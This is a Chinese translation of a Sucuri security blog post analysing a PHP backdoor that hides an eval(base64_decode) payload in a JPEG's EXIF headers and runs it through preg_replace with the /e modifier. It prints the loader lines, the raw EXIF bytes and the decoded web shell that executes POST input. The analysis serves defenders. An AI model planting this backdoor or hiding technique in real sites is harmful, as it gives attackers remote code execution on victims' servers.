隐藏在jpg图片文件源码头部的恶意软件代码

原文地址: http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html

    几天前,来自我们研究小组的Peter Gramantik在一个被感染的网站发现了一个非常有趣的后门。这个后门不是按照常规的方式隐藏其内容(不如base64/gzip编码),而是把数据保存在JPEG图片的EXIF头里。它(后门代码)也是在用户使用PHP函数exif_read_data 和 preg_replace 时读取头部数据并被执行的。


技术细节

这个后门程序可以分成两部分。第一部分是exif_read_data函数读取文件头信息和preg_replace函数执行读取的内容这两者的结合。我们在被感染的网站发现如下信息:

$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');

preg_replace($exif['Make'],$exif['Model'],'');


上面两个函数本身都没有什么危害。 Exif_read_data 函数通常用于读取图片信息,preg_replace函数用于替换读取到的字符窜内容。然而,preg_replace 函数当你传递“/e” 修正法时有一个隐藏的复杂的选则来把内容按php代码解析处理,而不是简单的搜索/替换。

 我们在检查bun.jpg文件时,发现了后门的第二部分:

ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^
文件内容按理说开始应该是通常的头部信息,但是在这个“伪造”的头部包含一个奇怪的关键字 "/.*/e".这正是让preg_replace函数安装php代码解析传给他的任何内容的修正符。

现在情况比较有意思了。。。。。。

如果我们继续查看EXIF数据,可以看到"eval ( base64_decode"隐藏在这个"Model"头。当把这些都放到一起,就可以看到将会发生什么。攻击者从EXIF读取"Make"和“Model"头并把读取的内容用于preg_replace。一旦我们修改了文件中的$exif['Make'] 和 $exif['Model'],就得到了最终的后门

preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ...");


一旦被解码,我们可以看到通过变量zzl POST过来的任何内容正好被执行。完整的解码后门如下

if (isset( $_POST["zz1"])) { eval (stripslashes( $_POST["zz1"]..
隐匿的的恶意代码
另外一个有趣之处是那个jpg图片及其他图片是没有免疫力的,即使感染恶意代码也会加载并正常显示的。事实上,

在这些被感染的网站攻击者只是修改了一个合法的,预先存在的图片。这是采用一种非常奇妙的隐匿术来隐藏恶意代码。

注意:使用服务器端扫描可以保证客户安全从而阻止这类的注入经我们检测


你可能感兴趣的:(php,php,exif,read,jpeg,preg_match)